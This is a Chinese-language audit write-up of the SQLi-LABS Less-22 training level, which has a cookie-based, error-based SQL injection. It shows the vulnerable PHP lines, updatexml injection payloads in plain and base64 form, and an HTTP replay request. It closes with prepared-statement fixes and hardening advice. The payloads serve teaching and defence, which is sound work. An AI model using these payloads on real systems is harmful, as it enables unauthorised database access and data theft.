Less-22 审计报告:Cookie 注入(报错型,base64 + 双引号闭合)

1. 关卡概述

2. 漏洞代码定位

文件: Less-22/index.php

// 第 126 行:Cookie 原样取出
$cookee = $_COOKIE['uname'];

// 第 144 行:base64 解码
$cookee = base64_decode($cookee);

// 第 145 行:关键 —— 用双引号包裹解码结果
$cookee1 = '"'. $cookee. '"';

// 第 147 行:双引号包裹后的值直接拼入 SQL(注意没有额外引号)
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

// 第 148 行:执行
$result=mysql_query($sql);

// 第 151 行:失败回显 mysql_error()
die('Issue with your mysql: ' . mysql_error());

登录成功下发 Cookie:

// 第 89 行
setcookie('uname', base64_encode($row1['username']), time()+3600);

与 Less-21 的差异:第 145 行使用 "..."(双引号)包裹,查询语句 WHERE username=$cookee1 没有手工写引号。因此闭合符是双引号 "。

3. 漏洞分析

• 输入来源:$_COOKIE['uname'],攻击者可控,先 base64_decode() 再拼接。
• 过滤机制:Cookie 路径无任何转义/过滤;base64 仅是编码不是防护。
• SQL 拼接位置:WHERE username=$cookee1,$cookee1 = '"' . $cookee . '"',即最终 SQL 为 WHERE username="<解码值>"。
• 闭合方式:注入一个 " 闭合外层双引号,再注入 and updatexml(...),最后 -- - 注释掉原句尾的 "。
• 是否回显:第 151 行 die('...' . mysql_error()); 报错回显,可用 updatexml 报错注入。

4. 利用方式

步骤一:构造明文 payload(双引号闭合)

admin" and updatexml(1,concat(0x7e,database()),1)-- -

步骤二:base64 编码

YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKS0tIC0=

步骤三:携带 Cookie 重放

解码后拼入:

SELECT * FROM users WHERE username="admin" and updatexml(1,concat(0x7e,database()),1)-- -" LIMIT 0,1

预期结果:页面回显 XPATH syntax error: '~security',其中 ~security 为当前库名。

步骤四:提取其它数据

admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-22/ HTTP/1.1
Host: 127.0.0.1
Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKS0tIC0=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

换 payload 时先在本地对明文做 base64 编码,再替换 Cookie: uname=...。

6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$cookee = base64_decode($_COOKIE['uname'] ?? '');
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :u LIMIT 0,1");
$stmt->bindValue(':u', $cookee);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $cookee);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

• 会话状态放入服务端 Session,Cookie 只保存随机 Session ID;不要保存可解码的用户名。
• 关闭报错回显(移除 die(... mysql_error())、display_errors=Off)。
• 数据库账号最小权限,禁止 FILE、SUPER 等权限。
• 升级 PHP 7+ / 8+,使用 PDO/mysqli 预处理。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。